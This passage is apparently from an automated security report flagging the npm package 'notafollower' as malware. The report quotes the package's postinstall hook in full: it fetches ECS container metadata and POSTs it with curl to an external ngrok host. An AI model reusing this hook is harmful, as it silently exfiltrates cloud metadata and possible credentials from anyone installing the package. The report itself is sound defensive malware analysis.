The metadata response is sent to an external ngrok endpoint. - **Trigger:** npm package installation, via postinstall. - **Impact:** Can expose container/task metadata and potentially cloud credentials or service configuration. - **Evidence paths:** package.json - **Review source:** ai\_review - **Reviewed:** 2026-08-13T20:53:03.980Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Fetches ECS metadata and pipes it to curl POST. - **Attack narrative:** On installation, the postinstall command reads the ECS metadata URL supplied by ECS\_CONTAINER\_METADATA\_URI\_V4, prints the HTTP status and response body, then pipes that output to curl. Curl POSTs the data to an attacker-controlled ngrok host, creating an automatic cloud-environment metadata exfiltration path. - **Rationale:** The sole package behavior is an unconsented postinstall metadata fetch followed by external transmission. This is a concrete credential/data-exfiltration chain, not a benign package feature. - **Files touched:** package.json - **Network endpoints:** https://mourner-slot-explicit.ngrok-free.dev ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** package.json defines a postinstall hook that fetches the ECS container metadata endpoint from an environment variable and pipes its response to an external ngrok host., The hook runs automatically during npm installation and POSTs the collected response as request data. - **Evidence against:** The package contains only package.json; no legitimate package functionality is present. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4).then(async r=>console.log(r.status,await r.text())).catch(console.error)" | curl -X POST 'https://mourner-slot-explicit.ng... ``` ### 2. Critical: Red Install Lifecycle Script - **Category:** Manifest - **Confidence:** 95.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script matches a deterministic static-gate block pattern. Public source snippet (untrusted): ```json scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4).then(async r=>console.log(r.status,await r.text())).catch(console.error)" | curl -X POST 'https://mourner-slot-explicit.ng... ``` ### 3. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 4. Low: No License - **Category:** Manifest - **Confidence:** 80.0% Package manifest does not declare a clear license. ### 5. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() package.json defines a postinstall hook that fetches the ECS container metadata endpoint from an environment variable and pipes its response to an external ngrok host. Public source snippet (untrusted): ```json "postinstall": "node -e \"fetch(process.env.ECS_CONTAINER_METADATA_URI_V4).then(async r=>console.log(r.status,await r.text())).catch(console.error)\" | curl -X POST 'https://mourner-slot-explicit.ngrok-free.dev' --data-binary @-" ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** postinstall - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** notafollower - **Ecosystem:** npm - **Version:** 1.0.11 - **Version published:** 2026-08-13T20:49:01.363Z - **Package first seen:** 2026-08-13T20:13:41.323Z - **Package last seen:** 2026-08-13T20:53:03.980Z - **Known versions:** 4 - **Latest version:** 1.0.11 - **Appeal under review:** No - **Artifact files:** 1 - **Artifact unpacked size:** 307 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]()
